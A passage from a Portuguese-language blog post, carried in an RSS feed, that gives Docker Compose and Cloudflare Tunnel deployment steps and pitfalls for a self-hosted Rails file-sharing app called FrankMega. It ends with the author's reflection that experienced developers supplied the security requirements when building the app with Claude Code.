</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">image</span><span class="p">:</span><span class="w"> </span><span class="l">akitaonrails/frankmega:latest</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">ports</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="s2">&#34;3100:80&#34;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">volumes</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="l">/home/seuuser/frankmega/uploads:/rails/storage/uploads</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="l">/home/seuuser/frankmega/db:/rails/storage</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">environment</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">SECRET_KEY_BASE</span><span class="p">:</span><span class="w"> </span><span class="l">${SECRET_KEY_BASE}</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">HOST</span><span class="p">:</span><span class="w"> </span><span class="l">${HOST}</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="c"># ... mais ~15 variáveis</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">restart</span><span class="p">:</span><span class="w"> </span><span class="l">unless-stopped</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">tunnel</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">image</span><span class="p">:</span><span class="w"> </span><span class="l">cloudflare/cloudflared:latest</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">command</span><span class="p">:</span><span class="w"> </span><span class="l">tunnel run</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">environment</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="l">TUNNEL_TOKEN=${TUNNEL_TOKEN}</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">depends_on</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="l">web</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">restart</span><span class="p">:</span><span class="w"> </span><span class="l">unless-stopped</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>O sidecar <code>cloudflare/cloudflared</code> cria um túnel outbound pra edge do Cloudflare. Não precisa abrir portas no firewall do home server. O Cloudflare faz SSL termination, DDoS protection, e roteia o tráfego pro container.</p>
<h3>Passo a Passo<span class="hx:absolute hx:-mt-20" id="passo-a-passo"></span>
    <a href="#passo-a-passo" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p><strong>1. Crie o Tunnel no Cloudflare:</strong></p>
<ul>
<li>Cloudflare Zero Trust Dashboard &gt; Networks &gt; Tunnels &gt; Create</li>
<li>Tipo: Cloudflared</li>
<li>Copie o <code>TUNNEL_TOKEN</code></li>
<li>Configure o hostname: <code>frankmega.seudominio.com</code> apontando pra <code>http://web:80</code></li>
</ul>
<p><strong>2. Gere os segredos:</strong></p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># SECRET_KEY_BASE</span>
</span></span><span class="line"><span class="cl">openssl rand -hex <span class="m">64</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Chaves de criptografia (3 valores separados)</span>
</span></span><span class="line"><span class="cl">openssl rand -hex <span class="m">32</span>  <span class="c1"># PRIMARY_KEY</span>
</span></span><span class="line"><span class="cl">openssl rand -hex <span class="m">32</span>  <span class="c1"># DETERMINISTIC_KEY</span>
</span></span><span class="line"><span class="cl">openssl rand -hex <span class="m">32</span>  <span class="c1"># KEY_DERIVATION_SALT</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><strong>3. Configure o <code>.env</code>:</strong></p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-env" data-lang="env"><span class="line"><span class="cl"><span class="nv">SECRET_KEY_BASE</span><span class="o">=</span>&lt;gerado acima&gt;
</span></span><span class="line"><span class="cl"><span class="nv">RAILS_MASTER_KEY</span><span class="o">=</span>&lt;<span class="k">do</span> config/master.key&gt;
</span></span><span class="line"><span class="cl"><span class="nv">HOST</span><span class="o">=</span>frankmega.seudominio.com
</span></span><span class="line"><span class="cl"><span class="nv">WEBAUTHN_ORIGIN</span><span class="o">=</span>https://frankmega.seudominio.com
</span></span><span class="line"><span class="cl"><span class="nv">WEBAUTHN_RP_ID</span><span class="o">=</span>frankmega.seudominio.com
</span></span><span class="line"><span class="cl"><span class="nv">ACTIVE_RECORD_ENCRYPTION_PRIMARY_KEY</span><span class="o">=</span>&lt;gerado&gt;
</span></span><span class="line"><span class="cl"><span class="nv">ACTIVE_RECORD_ENCRYPTION_DETERMINISTIC_KEY</span><span class="o">=</span>&lt;gerado&gt;
</span></span><span class="line"><span class="cl"><span class="nv">ACTIVE_RECORD_ENCRYPTION_KEY_DERIVATION_SALT</span><span class="o">=</span>&lt;gerado&gt;
</span></span><span class="line"><span class="cl"><span class="nv">TUNNEL_TOKEN</span><span class="o">=</span>&lt;<span class="k">do</span> Cloudflare&gt;
</span></span><span class="line"><span class="cl"><span class="nv">FORCE_SSL</span><span class="o">=</span><span class="nb">true</span>
</span></span><span class="line"><span class="cl"><span class="nv">APP_LOCALE</span><span class="o">=</span>pt-BR</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><strong>4. Suba:</strong></p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">docker compose pull
</span></span><span class="line"><span class="cl">docker compose up -d</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p><strong>5. Acesse</strong> <code>https://frankmega.seudominio.com</code>, crie a conta admin, comece a usar.</p>
<h3>Cuidados Importantes<span class="hx:absolute hx:-mt-20" id="cuidados-importantes"></span>
    <a href="#cuidados-importantes" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><ul>
<li><code>FORCE_SSL=false</code> pra testar localmente em <code>http://localhost:3100</code> sem Cloudflare na frente, senão entra em redirect loop</li>
<li>WebAuthn origin precisa bater exatamente, incluindo o <code>https://</code>. Se errar, passkeys silenciosamente não funcionam</li>
<li>IPs do Cloudflare são hardcoded no initializer (porque o gem <code>cloudflare-rails</code> não é compatível com Rails 8.1). Se o Cloudflare mudar os ranges, precisa rebuildar a imagem</li>
<li>Chaves de criptografia são permanentes. Se trocar depois que usuários configuraram 2FA, os segredos OTP ficam ilegíveis e eles perdem acesso</li>
<li>Cloudflare free tem limite de 100 MB de upload. Pro plano grátis, arquivos acima disso não passam pelo tunnel. A app permite até 1 GB mas o Cloudflare é o gargalo</li>
<li>O container roda como UID 1000. Se usar bind mounts ao invés de named volumes, o diretório precisa ser owned pelo UID 1000</li>
<li>São 4 bancos SQLite separados em produção (app, cache, queue, cable), todos no volume <code>db_data</code>. Backup é copiar o volume inteiro</li>
</ul>
<h2>O Verdadeiro Ponto Sobre &ldquo;Vibe Coding&rdquo;<span class="hx:absolute hx:-mt-20" id="o-verdadeiro-ponto-sobre-vibe-coding"></span>
    <a href="#o-verdadeiro-ponto-sobre-vibe-coding" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O Claude Code é absurdamente produtivo. Eu não teria feito tudo isso em 3 horas sem ele. Lembra de antigamente que você dava murro em ponta de faca por 1 semana só pra fazer um login funcionar? Pois é.</p>
<p>O commit de I18n sozinho (66 arquivos, ~250 strings extraídas pra dois idiomas) levaria um dia inteiro manualmente.</p>
<p>Mas o ponto que ninguém quer ouvir: <strong>o LLM não tomou as decisões de segurança</strong>. Eu pedi pra ele fazer um audit e ele encontrou os problemas, mas eu precisei saber pedir. E precisei saber quais perguntas fazer. <em>&ldquo;Revise a segurança&rdquo;</em> é uma instrução vaga. <em>&ldquo;Verifique se tem race condition no increment do download counter&rdquo;</em> é uma instrução que só quem sabe o que é TOCTOU consegue dar.</p>
<p>Aquelas 56 linhas do IDEA.md carregam décadas de experiência em desenvolvimento web. Eu sabia pedir rate limiting porque já vi serviços derrubados por bots. Sabia pedir IP banning porque já lidei com abuse. Sabia pedir download counter atômico porque entendo concorrência.</p>
<p>Se um iniciante escrevesse o mesmo IDEA.md, provavelmente não teria metade dessas preocupações. E o LLM não iria sugerir espontaneamente. O resultado seria um serviço funcional, bonito, e completamente inseguro.</p>
<p>O valor do programador experiente no Vibe Coding não é escrever código. É saber o que pedir e revisar o que foi gerado. A experiência é o filtro entre &ldquo;funciona&rdquo; e &ldquo;funciona em produção&rdquo;.</p>
<p>Os 210 testes e 24 medidas de segurança não vieram de prompt engineering. Vieram de saber o que testar e por quê.</p>
<p>O código é open source sob AGPL-3.0: <a href="https://github.com/akitaonrails/frankmega"target="_blank" rel="noopener">github.com/akitaonrails/frank_mega</a>. Deploy no seu server, fucem o código, aprendam com os commits. E se acharem mais falhas de segurança, me avisem.</p>
<p>Lembrem-se:</p>
<blockquote>
  <p>A IA é o espelho da sua própria competência.</p>

</blockquote>
]]></content:encoded><category>vibe-coding</category><category>rails</category><category>homelab</category><category>seguranca</category></item></channel></rss>